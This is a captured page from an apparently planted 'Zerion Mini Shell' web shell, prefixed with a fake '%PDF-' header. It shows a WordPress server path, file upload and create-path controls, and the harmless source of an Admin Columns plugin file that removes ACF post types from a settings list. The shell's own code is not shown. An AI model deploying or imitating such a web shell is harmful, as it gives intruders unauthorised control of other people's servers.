%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/ACF.php

<?php

namespace AC\ThirdParty;

use AC\Registrable;

class ACF implements Registrable {

	public function register() {
		add_filter( 'ac/post_types', [ $this, 'remove_acf_field_group' ] );
	}

	/**
	 * Fix which remove the Advanced Custom Fields Type (acf) from the admin columns settings page
	 *
	 * @param $post_types
	 *
	 * @return array Post Types
	 * @since 2.0
	 */
	function remove_acf_field_group( $post_types ) {
		if ( class_exists( 'Acf', false ) ) {
			if ( isset( $post_types['acf'] ) ) {
				unset( $post_types['acf'] );
			}
			if ( isset( $post_types['acf-field-group'] ) ) {
				unset( $post_types['acf-field-group'] );
			}
		}

		return $post_types;
	}

}

Zerion Mini Shell 1.0